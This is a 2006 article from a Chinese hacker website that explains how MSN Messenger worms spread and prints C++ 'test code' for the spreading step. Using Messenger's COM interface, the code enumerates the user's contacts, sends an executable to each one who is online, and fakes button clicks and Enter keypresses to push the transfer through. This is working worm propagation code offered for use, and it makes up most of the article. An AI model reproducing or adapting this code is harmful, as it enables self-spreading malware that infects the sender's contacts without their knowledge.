|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| MSN病毒原理及测试代码 | |||||
作者:未知 文章来源:黑客动画吧 点击数: 更新时间:2006-3-18 ![]() |
|||||
|
今年春节后的一段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN 这个也很简单,微软有公开的接口让你用. 下面是测试代码,只有通过MSN传送文件部分 CODE: #include "stdafx.h" #include 〈stdio.h〉 #include 〈windows.h〉 #include "msgruaid.h" //这两个头文件就是接口的定义 #include "msgrua.h" //有兴趣的同学可以在网上找找(没找着可以找我要) #include 〈comutil.h〉 int main(int argc, char* argv[]) { IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendName; IMessengerContact *MsnContact; IMessengerContacts *MsnContacts; IMessengerWindow *pIMsnWindow; __MIDL___MIDL_itf_msgrua_0000_0002 dwStatus; VARIANT vaTemp; BSTR bstrFileName; char *szOpenDlg; char szMsnWindowsClass[] = "IMWindowClass"; char szButtonText[] = "打开(&O)"; HWND hWnd = NULL, hBtn = NULL; DWORD dwControlId = 0; char szCurDir[MAX_PATH], szBuf[MAX_PATH]; CoInitialize(0); //初始化COM库 CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //创建一个实例 pIMessenger-〉get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表 pIMessenger-〉get_Window((IDispatch**)&pIMsnWindow); long nCount; MsnContacts-〉get_Count(&nCount); //得到好友数 for (int i = 0; i 〈 nCount; i++) { MsnContacts-〉Item(i, (IDispatch**)&MsnContact); MsnContact-〉get_SigninName(&pbstrName); //账号 MsnContact-〉get_FriendlyName(&bstrFriendName); //签名 szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName); MsnContact-〉get_Status(&dwStatus); if (dwStatus == MISTATUS_ONLINE) //判断是否在线 { GetCurrentDirectory(MAX_PATH, szCurDir); lstrcat(szCurDir, "\\"); lstrcat(szCurDir, "TestMsn.exe"); lstrcpy(szBuf, "发送文件给 "); lstrcat(szBuf, szOpenDlg); bstrFileName = _com_util::ConvertStringToBSTR(szCurDir); vaTemp.vt = VT_BSTR; vaTemp.bstrVal = pbstrName; pIMessenger-〉SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件 do { hWnd = FindWindow(NULL,szBuf); hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText); } while(!(hWnd && hBtn)); dwControlId 〈〈= 16; dwControlId |= 1; PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn)); keybd_event(VK_RETURN, 0, 0, 0); keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0); } MsnContact-〉Release(); MsnContacts-〉Release(); pIMessenger-〉Release(); //释放相关资源 CoUninitialize(); ExitProcess(0); return 0; } |
|||||
| 文章录入:IceRiver 责任编辑:admin | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| Sniffit常见问题及防范策略分 MSN视频暗藏杀机 微软补丁忙 MSSQL数据库SA权限入侵的感悟 MSN Space大赛官方网站入侵经 Thomson SpeedTouch 2030 SI “MSN性感相册”病毒变种多达 机构数据: QQ市场占有率为M 微软携安全厂商建统一战线 M CISCO IOS NHRP 功能中存在缓 Sniffit常见问题及防范策略深 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |